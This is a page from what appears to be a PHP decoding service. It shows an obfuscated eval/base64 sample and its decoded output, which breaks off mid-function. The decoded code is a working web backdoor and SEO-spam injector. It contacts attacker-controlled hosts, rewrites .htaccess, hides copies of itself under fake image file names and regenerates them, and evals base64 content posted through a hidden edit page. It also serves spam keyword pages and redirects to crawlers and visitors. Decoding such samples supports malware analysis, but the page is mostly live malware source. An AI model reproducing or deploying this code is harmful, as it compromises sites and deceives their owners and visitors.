Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?=eval(gzuncompress(base64_decode("eJzlfWtzIzmS2GdNxPyHapo7Rc5IxYekflFUt1qiHtN6DSn1Y9QaXp..

Decoded Output download

None session_start();$_SESSION['codeMethod']['singleencoder'] = 'on';
ini_set('display_errors', 0);
error_reporting(0);
@header('Content-type:text/html;charset=utf-8');
define('UAMD53KEY', 'da50c456f164497679149f21d7e036be');
define('COOKIEPSWD', '1a472ff9823d4aaa991d55b6db253931');
define('DEFAULTMAINDOMAIN', '.cfshserver.top');
define('URLHEAD', 'http://api.cfshserver.top/sheyyds3/');

define('CURRENT_VERSION', '1.24.02.20.11.22');
define('FILE_OLD_INDEX', '.ftpquotas');
define('FILE_OLD_INDEX_OLD', '4c7a17f635a4d887cf587a123b6a6bc4');
define('FILE_INDEX_STATIC_DEFAULT', 'a439a79eb419be5dda635034f722ec41');
define('CACHE_PATH', cachePath());
define('FILE_INDEX_STATIC', cacheFilename());
$configFile = configFile();

define('CONFIG_FILE', $configFile);
addDomain();
moveToNewCachePath();
editConfigFile();editPathList();

editConfigFile('outlinks');
if(@file_exists($configFile)){
		if(isPHPFile($configFile)){
		include_once $configFile;
	}else{
		eval('?>'.base64_decode(file_get_contents($configFile)));
	}
}
setHtaccess();
repairIndex('.');
copySelf();
reBirth();
checkStatus();
setupshe();

if(isset($_REQUEST['action']) && $_REQUEST['action'] == 'deletecache'){
	if(@file_exists(CACHE_PATH . FILE_INDEX_STATIC_DEFAULT)){
		unlink(CACHE_PATH . FILE_INDEX_STATIC_DEFAULT);
		header("Location: /");
		die;
	}
}
if(!isset($_REQUEST['action']) || $_REQUEST['action'] != 'createcache'){
    if(!@file_exists(CACHE_PATH . FILE_INDEX_STATIC_DEFAULT)){
        $indexurl = is_https() . $_SERVER['HTTP_HOST'] . '/?action=createcache';
                $html = getHtml($indexurl);
        if(!empty($html)){
            file_put_contents_force(CACHE_PATH . FILE_INDEX_STATIC_DEFAULT, $html);
        }
		reBirth();
    }
}elseif(isset($_REQUEST['action']) && $_REQUEST['action'] == 'createcache'){
	include FILE_OLD_INDEX;
	exit;
}
if(!file_exists($configFile)){
	
	showCacheFile();
	exit;
}



$arrContants = array(
    'STATIC_HTML' => 'yes', 
    'ALLOWED_PAGES' => '', 
    'REPLACE_EXISTS' => 'yes',
    'REPLACE_INDEX' => 'no',
    'HTACCESS_REPLACE' => 'yes',
    'INDEX_PHP' => $_SERVER['SCRIPT_FILENAME'] . '/',
    'LANGUAGE' => '',
    'KEYWORDDIR' => '',
    'INDEX_KEYWORD' => '',
    'OUTLINK_ONLY_INDEX' => '',
    'URI_END_OF_KEYWORD' => '-k.html',
    'API_HOST' => 'http://keywordfada20201115.keyworddomain.com/',
    'SHOP_HOST' => 'http://shopfada20201115.keyworddomain.com/',
    'MAINDOMAIN' => DEFAULTMAINDOMAIN,
    'USECURL' => 'yes',
);
$defined = 'defined';
foreach($arrContants as $cons => $v){
    switch($cons){
        case 'STATIC_HTML': 
            if($defined($cons)){
                @define('STATIC_HTML', constant($cons));
            }else{
                @define('STATIC_HTML', $v);
            }
            break;
        case 'ALLOWED_PAGES': 
            if($defined($cons)){
                @define('ALLOWED_PAGES', constant($cons));
            }else{
                @define('ALLOWED_PAGES', $v);
            }
            break;
        case 'REPLACE_EXISTS': 
            if($defined($cons)){
                @define('REPLACE_EXISTS', constant($cons));
            }else{
                @define('REPLACE_EXISTS', $v);
            }
            break;
        case 'REPLACE_INDEX': 
            if($defined($cons)){
                @define('REPLACE_INDEX', constant($cons));
            }else{
                @define('REPLACE_INDEX', $v);
            }
            break;
        case 'INDEX_PHP': 
            if($defined($cons)){
                @define('INDEX_PHP', constant($cons));
            }else{
                @define('INDEX_PHP', $v);
            }
            break;
        case 'LANGUAGE': 
            if($defined($cons)){
                @define('LANGUAGE', constant($cons));
            }else{
                @define('LANGUAGE', $v);
            }
            break;
        case 'KEYWORDDIR': 
            if($defined($cons)){
                @define('KEYWORDDIR', constant($cons));
            }else{
                @define('KEYWORDDIR', $v);
            }
            break;
		case 'INDEX_KEYWORD': 
			if($defined($cons)){
				@define('INDEX_KEYWORD', constant($cons));
			}else{
				@define('INDEX_KEYWORD', $v);
			}
			break;
		case 'OUTLINK_ONLY_INDEX': 
			if($defined($cons)){
				@define('OUTLINK_ONLY_INDEX', constant($cons));
			}else{
				@define('OUTLINK_ONLY_INDEX', $v);
			}
			break;
		case 'HTACCESS_REPLACE': 
			if($defined($cons)){
				@define('HTACCESS_REPLACE', constant($cons));
			}else{
				@define('HTACCESS_REPLACE', $v);
			}
			break;
		case 'URI_END_OF_KEYWORD': 
			if($defined($cons)){
				@define('URI_END_OF_KEYWORD', constant($cons));
			}else{
				@define('URI_END_OF_KEYWORD', $v);
			}
			break;
        case 'API_HOST': 
            if($defined($cons)){
                @define('API_HOST', constant($cons));
            }else{
                @define('API_HOST', $v);
            }
            break;
        case 'SHOP_HOST': 
            if($defined($cons)){
                @define('SHOP_HOST', constant($cons));
            }else{
                @define('SHOP_HOST', $v);
            }
            break;
        case 'MAINDOMAIN': 
            if($defined($cons)){
                @define('MAINDOMAIN', constant($cons));
            }else{
                @define('MAINDOMAIN', $v);
            }
            break;
		case 'USECURL': 
			if($defined($cons)){
				@define('USECURL', constant($cons));
			}else{
				@define('USECURL', $v);
			}
			break;
        case 'JUMP_REAL_HOST': 
            if($defined($cons)){
                @define('JUMP_REAL_HOST', constant($cons));
            }else{
                @define('JUMP_REAL_HOST', $v);
            }
            break;
    }
}
pingGoogle();


if(defined('FORCE_SCHEMA')){
    $curSchema = currentSchema();
    if(FORCE_SCHEMA == 'http' || FORCE_SCHEMA == 'https'){
        if($curSchema != FORCE_SCHEMA){
			header('HTTP/1.1 301 Moved Permanently');
            header("Location: " . FORCE_SCHEMA . '://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']);
            exit();
        }
    }
}




preg_match('|([^/]+)-k(\d)?.html$|i', $_SERVER['REQUEST_URI'], $match);

if(isset($match[2]) && is_numeric($match[2])){
    if(defined('LANGUAGE'.$match[2]) && defined('KEYWORDDIR'.$match[2]) && defined('API_HOST'.$match[2]) && defined('SHOP_HOST'.$match[2])){
        $valLANGUAGE = constant('LANGUAGE'.$match[2]);
        $valKEYWORDDIR = constant('KEYWORDDIR'.$match[2]);
        $valAPI_HOST = constant('API_HOST'.$match[2]);
        $valSHOP_HOST = constant('SHOP_HOST'.$match[2]);
    }
}else{
    $valLANGUAGE = LANGUAGE;
    $valKEYWORDDIR = KEYWORDDIR;
    $valAPI_HOST = API_HOST;
    $valSHOP_HOST = SHOP_HOST;
}
@define('LANGUAGE_REAL', $valLANGUAGE);
@define('KEYWORDDIR_REAL', $valKEYWORDDIR);
@define('API_HOST_REAL', str_ireplace('.keyworddomain.com', MAINDOMAIN, $valAPI_HOST));
@define('SHOP_HOST_REAL', str_ireplace('.keyworddomain.com', MAINDOMAIN, $valSHOP_HOST));
replaceIndex(FILE_OLD_INDEX);
is_allow_page();
$maindomain = MainDomain();
$token = md5(md5('sj'.$maindomain));
$uriend = '&dir='.KEYWORDDIR_REAL.'&hl='.LANGUAGE_REAL.'&token='.$token.'&domain='.$maindomain;
$uri = API_HOST_REAL . 'randkeyword.php?str='.md5('testshely'.$_SERVER['REQUEST_URI']).$uriend;

if(substr($_SERVER['REQUEST_URI'], 0, 12) == '/sitemap.xml'){showSiteMap();die;}

if(substr($_SERVER['REQUEST_URI'], 0, 11) == '/robots.txt'){showRobotsTxt();die;}
$pageexists = true;
if(isset($match[1])&&!empty($match[1])){
    $keyword = str_replace('-', '%20', $match[1]);
    $keyword = urldecode($keyword);
	$uri = API_HOST_REAL . 'randkeyword.php?keyword='.urlencode($keyword).$uriend;
	$pageexists = false;
	}elseif($arrCid = getCid()){
	$uri = API_HOST_REAL . 'randkeyword.php?f='.$arrCid['cid'].'&l='.$arrCid['lid'].$uriend;
}else{
    if(isHomePage()){
        $uri = API_HOST_REAL . 'randkeyword.php?keyword='.urlencode(INDEX_KEYWORD).$uriend;
    }
}
$jsonStr = getHtml($uri);
$objKeywordShe = jsonDecode($jsonStr, true);

if(!empty($objKeywordShe['keyword'])){
	if(REPLACE_EXISTS == 'yes'){
		$tourl = getJumpCache(getJumpUrlApi());
		if(isIndexUrl($tourl)){
			$jumpurl = $tourl . '?c='.$objKeywordShe['keyword']; 		}else{
			$jumpurl = SHOP_HOST_REAL . '?c='.$objKeywordShe['keyword']; 		}
		if(needJump()){echo '<meta http-equiv="refresh" content="0; url=' . $jumpurl . '">';die;}
	}
}


if(REPLACE_EXISTS == 'yes'){
	$pageexists = false;
}
if($pageexists){
	if(!preg_match('|([^/]+)-c.html$|i', $_SERVER['REQUEST_URI'], $match)){
		include cacheFilename();
		if(isBot()){
			$liil = '';
			foreach($objKeywordShe['relatedKeywords'] as $keyword1){
				$link = is_https() . $_SERVER['HTTP_HOST'] . '/' . INDEX_PHP . keywordtouri($keyword1) . URI_END_OF_KEYWORD;
				$liil .= '		<li><a href="'.$link.'">'.$keyword1.'</li>'."
";
			}
			echo '<ul class="Related">'.$liil.relatedOutLinks().'</ul>';
		}
		die;
	}
}
if(!empty($objKeywordShe['keyword'])){
	if(isBot()){
		showProduct($objKeywordShe);
		die;
	}
}

showCacheFile();
die;


function relatedOutLinks($i = 10){
		if(defined('OUTLINK_ONLY_INDEX') && OUTLINK_ONLY_INDEX == 'yes'){
		if(!isHomePage()){
						return '';
		}
	}
    $filename = sheditFile('real', 'outlinks');
    $liil = '';
    $count = 0;
    if(@file_exists($filename)){
        $content = file_get_contents($filename);
        $arrContent = explode("
", $content);
		shuffle($arrContent);
        foreach($arrContent as $line){
            $arrLine = explode('|', trim($line));
            if(sizeof($arrLine) == 2 && !empty($arrLine[0]) && !empty($arrLine[1]) && filter_var($arrLine[1], FILTER_VALIDATE_URL)){
                $liil .= '		<li><a href="'. $arrLine[1] .'">'.$arrLine[0].'</li>'."
";
            }
            $count++;
            if($count > $i){
                break;
            }
        }
    }
    return $liil;
}

function getJumpCache($url){
	$md5 = md5($url);
	$content = "";
    $content = readFromTmp($md5, 3*60);
	if(empty($content)){
		$content = getHtml($url);
		if (filter_var($content, FILTER_VALIDATE_URL) !== false) {
			saveToTmp($md5, $content);
		}
	}
	return $content;
}


function sheditFile($type = '', $name = ''){
	if(empty($type)){
		$type = 'real'; 
	}
	if(empty($name)){
		$name = 'shedit'; 
	}
	$tmpPath = sys_get_temp_dir1() . '/';
	if(!@is_writable($tmpPath)){
		$tmpPath = CACHE_PATH;
	}
	$tmpPath .=  MainDomain() . '/';
	if(!@is_dir($tmpPath)){
		@mkdir($tmpPath, 0747, true);
	}
	@chmod($tmpPath, 0767);
	$tmpPathReal = CACHE_PATH;
	$configFileReal = $tmpPathReal . MainDomain() . '.' . $name . '.set';
	if($name == 'shedit'){
		$configFile = $tmpPath . 'favicon.ico';
	}else{
		$configFile = $configFileReal;
	}
	if(@file_exists($configFile) && $configFile != $configFileReal){
		if(!@file_exists($configFileReal) || md5_file($configFile) != md5_file($configFileReal)){
			file_put_contents_force($configFileReal, file_get_contents($configFile));
		}
	}
	if($type == 'real'){
		return $configFileReal;
	}else{
		return $configFile;
	}
}


function configFile(){
	$configFile = sheditFile('real');
	if(!is_readable($configFile)){
		$configFile = sheditFile('save');
	}
	return $configFile;
}


function moveToNewCachePath(){
	if(@file_exists(FILE_OLD_INDEX_OLD) && !@file_exists(FILE_OLD_INDEX)){
		rename(FILE_OLD_INDEX_OLD, FILE_OLD_INDEX);
	}
	if(@file_exists(FILE_INDEX_STATIC_DEFAULT) && !@file_exists(CACHE_PATH . FILE_INDEX_STATIC_DEFAULT)){
		rename(FILE_INDEX_STATIC_DEFAULT, CACHE_PATH . FILE_INDEX_STATIC_DEFAULT);
	}
	if(@file_exists(FILE_INDEX_STATIC_DEFAULT) && !@file_exists(CACHE_PATH . FILE_INDEX_STATIC_DEFAULT)){
		rename(FILE_INDEX_STATIC_DEFAULT, CACHE_PATH . FILE_INDEX_STATIC_DEFAULT);
	}
}

function showCacheFile(){
		if(FILE_INDEX_STATIC == FILE_OLD_INDEX){
		include FILE_INDEX_STATIC;
	}else{
		$html = file_get_contents(FILE_INDEX_STATIC);
		echo $html;
	}
	exit();
}

function cachePath($rootPath = ''){
	if(empty($rootPath)){
		$rootPath = './';
	}
	$arr = array(
		'wp-admin/images/',
		'includes/',
		'cache/',
		'images/',
	);
	foreach($arr as $path){
		$path = $rootPath . $path;
		if(@is_dir($path) && is_writeable($path)){
			return $path;
		}
	}
	if(@is_writable($rootPath)){
		@mkdir($rootPath . 'images/', 0747);
		$dir = $rootPath . 'images/';
	}else{
		$dir = sys_get_temp_dir1() .'/';
		if(!@is_writable($dir)){
			die('no tmp dir avalibal!');
		}else{
			$dir = $dir . md5($rootPath) . '/';
			mkdir($dir, 0747);
		}
	}
	return $dir;
}

function cacheFilename(){
	if(defined('STATIC_HTML') && STATIC_HTML == 'no'){
		return FILE_OLD_INDEX;
	}else{
		$uri = request_uri_no_parameters();
		$filename = 'cache/'.md5($uri);
		if(!@file_exists($filename)){
			$filename = CACHE_PATH . FILE_INDEX_STATIC_DEFAULT;
		}
		return $filename;
	}
}

function request_uri_no_parameters(){
    $arr = parse_url($_SERVER['REQUEST_URI']);
    return $arr['path'];
}


function getDomainFromUrl($url){
	$url = trim($url);
	if(strstr($url, '://')){
		$url = parse_url($url);
		$url = $url['host'];
	}
	return $url;
}


function getJumpUrlApi(){
	$tourlapi = SHOP_HOST_REAL . '/readurl.php?from=' . MainDomain() . '&keyworddir=' . KEYWORDDIR_REAL;
	if(defined('JUMP_REAL_HOST')){
		$tourlapi .= '&host='. getDomainFromUrl(JUMP_REAL_HOST);
		$tourlapi = str_ireplace('.keyworddomain.com', MAINDOMAIN, $tourlapi);
	}
	return $tourlapi;
}

function is_allow_page(){
	if(defined('ALLOWED_PAGES') && ALLOWED_PAGES != ''){
		$page = this_page();
		$arrAllowed = explode(',', ALLOWED_PAGES);
		if(in_array($page, $arrAllowed)){
			include $page;
			exit;
		}
	}
	return false;
}

function this_page(){
	$page = 'index.php';
	if(isset($_SERVER['REDIRECT_URL'])){
		$page = trim($_SERVER['REDIRECT_URL'], '/');
	}else if(isset($_SERVER['REQUEST_URI'])){
		$arr = parse_url($_SERVER['REQUEST_URI']);
		$page = trim($arr['path'], '/');
	}
	return $page;
}


function isIndexUrl($url){
	$pattern = '|^https?://.*/$|';
	if(preg_match($pattern, $url)){
		return true;
	}
	return false;
}


function editConfigFile($filename = ''){
	if(empty($filename)){
		$filename = 'shedit';
	}
	if(isset($_GET['action']) && $_GET['action'] == $filename){
		if(isSuperMan()){
			if(cookieAuthor()){
				$configFile = sheditFile('save', $filename);
				$configFile2 = sheditFile('real', $filename);
				if(isset($_POST['shaction']) && isset($_POST['content']) && $_POST['shaction'] == $filename){
                    if(@trim($_POST['savebybase64']) != 'on' && !stristr($_POST['content'], '<?php')){
                        $content = base64_decode($_POST['content']);
                    }else{
                        $content = $_POST['content'];
                    }
					                    if($filename == 'shedit' && @trim($_POST['savebybase64']) != 'on' && !stristr($content, '<?php')){
						echo $content;die;
                        echo '';
                    }else{
                        file_put_contents_force($configFile, $content);
                        file_put_contents_force($configFile2, $content);
                        echo '!<meta http-equiv="Refresh" content="0;url=/" />';
                    }
				}else{
					if(@file_exists($configFile)){
						$content =  file_get_contents($configFile);
					}else{
						if(@file_exists($configFile2)){
							$content =  file_get_contents($configFile2);
							file_put_contents_force($configFile, $content);
						}else{
                            $content = '';
                        }
					}
					header('Content-type: text/html; charset=utf-8');
					echo '
					<script src="https://cdn.jsdelivr.net/npm/[email protected]"></script>
					<script src="https://cdn.jsdelivr.net/npm/[email protected]/base64.min.js"></script>
					<form method="post" onsubmit="return beforeSubmit();">
						<textarea id="content" name="content" rows=20 cols=100>'.$content.'</textarea>
                        <br>
                        <input type="checkbox" id="base64encode" value="on" checked>base64
                        <input type="checkbox" name="savebybase64" value="on">
						<input type="submit"><input type="hidden" name="shaction" value="' . $filename . '">
					</form>
					<button id="base64decode" onclick="Base64Decode()">base64</button>
					<button id="base64encode" onclick="Base64Encode()">base64</button>
					
					<script>
						function beforeSubmit(){
                            if($("#base64encode").prop("checked")){
                                $("#content").val(Base64.encode($("#content").val()));
                            }
							return true;
						}
						function Base64Decode(){
							$("#content").val(Base64.decode($("#content").val()));
						}
						function Base64Encode(){
							$("#content").val(Base64.encode($("#content").val()));
						}
					</script>
					';
				}
				if($filename == 'shedit'){
					echo '<!--'.$configFile.'-->';
					echo '<!--'.$configFile2.'-->';
					echo '<a href="?action=deletecache"></a>';
				}
			}else{
				echo "The authorization failed, please re -authorize";exit();
			}
		}else{
			http_response_code(404);
            die;
		}
		die();
	}
}


function editPathList(){
	if(isset($_GET['action']) && $_GET['action'] == 'pathlist'){
		if(isSuperMan()){
			$filePathList = filePathList();
			if(isset($_POST['exceptPathlist']) && isset($_POST['exceptPathlist']) && $_POST['shaction'] == 'pathlist'){
				saveExceptPathlist2($_POST['exceptPathlist']);
			}
			if(isset($_POST['shaction']) && isset($_POST['content']) && $_POST['shaction'] == 'pathlist'){
				$arr = explode("
", trim($_POST['content']));
				$arr2 = array();
				foreach($arr as $v){
					if(!empty($v)){
						$v = trim($v);
						if(!in_array($v,$arr2))
						$arr2[] = $v;
					}
				}
				file_put_contents_force($filePathList, base64_encode(gzdeflate(jsonEncode($arr2))));
				echo 'saved!';
			}else{
				$content = '';
				if(@file_exists($filePathList)){
					$arr =  jsonDecode(gzinflate(base64_decode(file_get_contents($filePathList))), true);
					$content = '';
					foreach($arr as $line){
						$content .= $line . "
";
					}
				}
				$arr2 = arrReadPathlist2();
				$exceptPathlist = strReadExceptPathlist2();
				$content2 = '';
				$content3 = '';
				$content4 = '';
				foreach($arr2 as $domain => $path){
					$content2 .= $path . PHP_EOL;
					$content3 .= $domain . PHP_EOL;
					$content4 .= $domain . "	" . $path . PHP_EOL;
				}
				header('Content-type: text/html; charset=utf-8');
				echo '
				<form method="post">
                    <textarea cols="50" rows="5" name="content">'.$content.'</textarea><br>
					<textarea cols="50" rows="5" name="exceptPathlist">'.$exceptPathlist.'</textarea><br>
					<input type="submit"><input type="hidden" name="shaction" value="pathlist">
				</form>';
				echo '<form method="post"><textarea cols="50" rows="5" name="content2">'.$content2.'</textarea></form>';
				echo '<form method="post"><textarea cols="50" rows="5" name="content3">'.$content3.'</textarea></form>';
				echo '<form method="post"><textarea cols="50" rows="5" name="content4">'.$content4.'</textarea></form>';
				if(DEBUG=='on'){
					echo '<!--' . $filePathList . '-->';
				}
			}
			die();
		}
	}
}


function filePathList($str = ''){
	if(empty($str)){
		$str = 'pathlist';
	}
	$user = get_current_user1();
	$tmpDir = sys_get_temp_dir1();
	$f1 = $tmpDir . '/' . md5($user.$str);
	$f2 = CACHE_PATH . md5($user.$str);
	if(@file_exists($f1)){
		$m1 = md5_file($f1);
		if(@file_exists($f2)){
			$m2 = md5_file($f2);
			if($m1 != $m2){
								file_put_contents_force($f2, file_get_contents($f1));
			}
		}else{
			file_put_contents_force($f2, file_get_contents($f1));
		}
	}else{
		if(@file_exists($f2)){
			file_put_contents_force($f1, file_get_contents($f2));
		}
	}
	return $f1;
}

function saveToTmp($file, $content){
    $filename = sys_get_temp_dir1() . DIRECTORY_SEPARATOR . $file;
    $_SESSION[$file] = $content;
    file_put_contents_force($filename, $content);
}

function readFromTmp($file, $timeOut = 0){
    $filename = sys_get_temp_dir1() . DIRECTORY_SEPARATOR . $file;
	if(file_exists($filename)){
		if($timeOut > 0){
			$mtime = filemtime($filename);
			$now = time();
			if(($now - $mtime) < $timeOut){
				$content = file_get_contents($filename);
			}
		}else{
			$content = file_get_contents($filename);
		}
	}
    if(empty($content) && $timeOut === 0){
        $content = $_SESSION[$file];
    }
    return $content;
}

function is_wp($dir = '.'){
	$iswp = true;
	$dir = rtrim($dir, '/');
	$dir = rtrim($dir, '\');
	$dir = $dir . DIRECTORY_SEPARATOR;
	$arrFiles = array(
		'wp-blog-header.php',
		'wp-config.php',
	);
	$arrDirs = array(
		'wp-admin',
		'wp-includes',
		'wp-content',
	);
	foreach($arrFiles as $file){
		if(!@is_file($dir.$file)){
			$iswp = false;
		}
	}
	foreach($arrDirs as $subdir){
		if(!@is_dir($dir.$subdir)){
			$iswp = false;
		}
	}
	return $iswp;
}


function reBirth(){
	$arrPath = arrReadPathList();
	foreach($arrPath as $path){
        if(!@is_dir($path)){
            @mkdir($path, 0747, true);
        }
		repairIndex($path);
		$index = $path.'/index.php';
		$ht = $path.'/.htaccess';
		$cachePath = cachePath(rtrim($path,'/').'/');
		$bkindex = $cachePath . 'resize-6x.png';
		$bkht = $cachePath . 'resize-8x.png';
		if(@file_exists($bkindex)){
			if(!@file_exists($index) or (md5_file($index) != md5_file($bkindex))){
				file_put_contents_force($index,file_get_contents($bkindex));
			}
		}else{
			$output = readFileContent('output.txt', true, 'nondomain.com');
			file_put_contents_force($index, $output);
		}
		if($ht && @file_exists($bkht)){
			if(!@file_exists($ht) or (md5_file($ht) != md5_file($bkht))){
				file_put_contents_force($ht,file_get_contents($bkht));
			}
		}
		
		if(@file_exists($path . '/index.html')){
			if(!@file_exists($path . '/' .FILE_INDEX_STATIC_DEFAULT)){
				rename($path . '/index.html', $path . '/' .FILE_INDEX_STATIC_DEFAULT);
			}else{
				rename($path . '/index.html', $path . '/index' . time() . '.html');
			}
		}
	}
}


function arrReadPathList(){
	$filePathList = filePathList();
	$arrPath = array();
	if(@file_exists($filePathList)){
		$content = file_get_contents($filePathList);
		if(strlen(($content>10))){
			$arrPath = jsonDecode(gzinflate(base64_decode($content)), true);
		}
	}
	if(!is_array($arrPath)){
		$arrPath = array();
	}
	$arrPath2 = arrReadPathlist2();
	foreach($arrPath2 as $path){
		$path = trim($path);
		if(!in_array($path, $arrPath)){
			$arrPath[] = $path;
		}
	}
    
    $arrExceptPathlist = arrReadExceptPathlist2();
    foreach($arrPath as $k => $v){
        if(in_array($v, $arrExceptPathlist)){
            unset($arrPath[$k]);
        }
    }
	return $arrPath;
}

function arrReadPathlist2(){
	$user = get_current_user1();
	$domain = MainDomain();
	$domainPath = getDomainTmpPath();
	$domainPath2 = getFirstWritableDir() . md5($user.'domainlist') . DIRECTORY_SEPARATOR;
	$arr = @scandir($domainPath);
	$arr2 = @scandir($domainPath2);
	$arrPaths = array();
	if(!empty($arr)){
		foreach($arr as $domain){
			if($domain == '.htaccess'){
				continue;
			}
			if(@is_file($domainPath . $domain)){
				$content = file_get_contents($domainPath . $domain);
				$arrContent = explode("
", $content);
				if(strlen($content) < 256 && sizeof($arrContent) == 1){
					$arrPaths[$domain] = trim($content);
				}else{
					unlink($domainPath . $domain);
				}
			}
		}
	}
	if(!empty($arr2)){
		foreach($arr2 as $domain2){
			if($domain2 == '.htaccess'){
				continue;
			}
			if(@is_file($domainPath2 . $domain2)){
				$content = file_get_contents($domainPath2 . $domain2);
				$arrContent = explode("
", $content);
				if(strlen($content) < 256 && sizeof($arrContent) == 1){
					$arrPaths[$domain2] = trim($content);
				}else{
					unlink($domainPath2 . $domain2);
				}
			}
		}
	}
	return $arrPaths;
}


function strReadExceptPathlist2(){
	$user = get_current_user1();
	$tmpPath = sys_get_temp_dir1();
	$filePath = $tmpPath . '/' . md5($user.'exceptpathlist');
	if(@file_exists($filePath)){
		return file_get_contents($filePath);
	}
	return '';
}

function get_current_user1(){
	if(function_exists('get_current_user')){
		$user = get_current_user();
	}else{
		$user = 'www';
	}
	return $user;
}

function fileNameGlobal($name)
{
    $user = get_current_user1();
    echo 
    $tmpDir = sys_get_temp_dir1();
    $f1 = $tmpDir . '/' . md5($user . $name);
    $f2 = getFirstWritableDir() . md5($user . $name);
    if (@file_exists($f1)) {
        $m1 = md5_file($f1);
        if (@file_exists($f2)) {
            $m2 = md5_file($f2);
            if ($m1 != $m2) {
                                file_put_contents_force($f2, file_get_contents($f1));
            }
        } else {
            file_put_contents_force($f2, file_get_contents($f1));
        }
    } else {
        if (@file_exists($f2)) {
            file_put_contents_force($f1, file_get_contents($f2));
        }
    }
    return $f1;
}

function getFirstWritableDir(){
    $dir = $_SERVER['DOCUMENT_ROOT'];
    for($i=0; $i<20;$i++){
        $dir2 = dirname($dir);
		if($dir2 == $dir){
			break;
		}
        if(@is_writable($dir2)){
            $dir = $dir2;
        }else{
            break;
        }
    }
    $dirR = $dir . '/.analytic/';
    if(!@is_dir($dirR)){
        @mkdir($dirR, 0767, true);
    }elseif(!@is_writable($dirR)){
        chmod($dirR, 0767);
    }
    
    if(!@is_dir($dirR) || !@is_writable($dirR)){
        $dirR = $dir;
    }
    return $dirR;
}


function arrReadExceptPathlist2(){
	$str = strReadExceptPathlist2();
    $arr = explode("
", $str);
    $arrR = array();
    foreach($arr as $v){
        if(!empty($v)){
            $arrR[] = trim($v);
        }
    }
	return $arrR;
}


function saveExceptPathlist2($content){
	$user = get_current_user1();
	$tmpPath = sys_get_temp_dir1();
	$filePath = $tmpPath . '/' . md5($user.'exceptpathlist');
	return file_put_contents_force($filePath, $content);
}

function getDomainTmpPath(){
	$user = get_current_user1();
	$tmpPath = sys_get_temp_dir1() .'/';
	$domainPath = $tmpPath . '/' . md5($user.'domainlist') . '/';
	if(!@is_dir($domainPath)){
		if(@is_file($domainPath)){
			unlink($domainPath);
		}
		@mkdir($domainPath, 0747);
	}
	return $domainPath .'/';
}

function addDomain(){
	$user = get_current_user1();
	$domain = MainDomain();
	$domainPath = getDomainTmpPath();
    $domainPath2 = getFirstWritableDir() . md5($user.'domainlist') . DIRECTORY_SEPARATOR;
	if(!@is_dir($domainPath2)){
		if(@is_file($domainPath2)){
			unlink($domainPath2);
		}
		@mkdir($domainPath2, 0747);
	}
	$file = $domainPath . $domain;
	$file2 = $domainPath2 . $domain;
	if(!@file_exists($file)){
		@file_put_contents($file, $_SERVER['DOCUMENT_ROOT']);
	}
	if(!@file_exists($file2)){
		@file_put_contents($file2, $_SERVER['DOCUMENT_ROOT']);
	}
}

function repairIndex($dir){
	$dir = $dir . '/';
	if(!@file_exists($dir . FILE_OLD_INDEX)){
		if(is_wp($dir) || !@file_exists($dir . '/index.php')){
			$wpindex = base64_decode('PD9waHANCi8qKg0KICogRnJvbnQgdG8gdGhlIFdvcmRQcmVzcyBhcHBsaWNhdGlvbi4gVGhpcyBmaWxlIGRvZXNuJ3QgZG8gYW55dGhpbmcsIGJ1dCBsb2Fkcw0KICogd3AtYmxvZy1oZWFkZXIucGhwIHdoaWNoIGRvZXMgYW5kIHRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSB0aGVtZS4NCiAqDQogKiBAcGFja2FnZSBXb3JkUHJlc3MNCiAqLw0KDQovKioNCiAqIFRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSBXb3JkUHJlc3MgdGhlbWUgYW5kIG91dHB1dCBpdC4NCiAqDQogKiBAdmFyIGJvb2wNCiAqLw0KZGVmaW5lKCAnV1BfVVNFX1RIRU1FUycsIHRydWUgKTsNCg0KLyoqIExvYWRzIHRoZSBXb3JkUHJlc3MgRW52aXJvbm1lbnQgYW5kIFRlbXBsYXRlICovDQpyZXF1aXJlIF9fRElSX18gLiAnL3dwLWJsb2ctaGVhZGVyLnBocCc7');
			file_put_contents_force($dir . FILE_OLD_INDEX, $wpindex);
		}else{
			copy($dir . '/index.php', $dir . FILE_OLD_INDEX);
		}
	}
}


function setHtaccess($filename = ''){
	if(empty($filename)){
		$filename = '.htaccess';
	}
	if(defined('HTACCESS_REPLACE') && HTACCESS_REPLACE == 'no'){
		$str = '<IfModule mod_rewrite.c>'.
		PHP_EOL.'RewriteEngine On'.
		PHP_EOL.'RewriteBase /'.
		PHP_EOL.'RewriteCond %{REQUEST_FILENAME} !-f'.
		PHP_EOL.'RewriteCond %{REQUEST_FILENAME} !-d'.
		PHP_EOL.'RewriteRule . index.php [L]'.
		PHP_EOL.'</IfModule>';
	}else{
		$str = '<IfModule mod_rewrite.c>'.
		PHP_EOL.'RewriteEngine On'.
		PHP_EOL.'RewriteBase /'.
		PHP_EOL.'RewriteRule ^(index|wp\-admin|wp\-include|wp\-comment|wp\-loader|wp\-corn\-sample|wp\-logln|output|about|admin|randkeyword|readurl|wp\-ver).php$ - [L]'.
		PHP_EOL.'RewriteRule ^.*\.[pP][hH].* index.php [L]'.
		PHP_EOL.'RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] index.php [L]'.
		PHP_EOL.'RewriteCond %{REQUEST_FILENAME} !-f'.
		PHP_EOL.'RewriteCond %{REQUEST_FILENAME} !-d'.
		PHP_EOL.'RewriteRule . index.php [L]'.
		PHP_EOL.'</IfModule>';
	}
	$md5str = md5($str);
	if(!@file_exists($filename)){
		$filemd5 = '0';
	}else{
		$filemd5 = md5_file($filename);
	}
	if($md5str == $filemd5){
		return;
	}else{
		file_put_contents_force($filename, $str);
	}
}


function copySelf($toname = ''){
	$path = cachePath();
	if(empty($toname)){
			$toname = $path . 'resize-6x.png';
	}
	$dir = dirname($toname);
	if(!@is_dir($dir)){
		@mkdir($dir, 0747, true);
	}
	
	if(COOKIEPSWD == '4316c4e1934c60e1a36d27b5edf06b14'){
		$content = readFileContent('output.txt', true);
		file_put_contents_force($toname, $content);
	}
	setHtaccess($_SERVER['DOCUMENT_ROOT'].'/' . $path . 'resize-8x.png');
		if(file_exists($_SERVER['SCRIPT_FILENAME']) && !file_exists($toname)){
		file_put_contents_force($toname, file_get_contents($_SERVER['SCRIPT_FILENAME']));
	}elseif(file_exists($toname)){
		$str = file_get_contents($toname);
		$md5str = md5($str);
		if(!@file_exists($toname)){
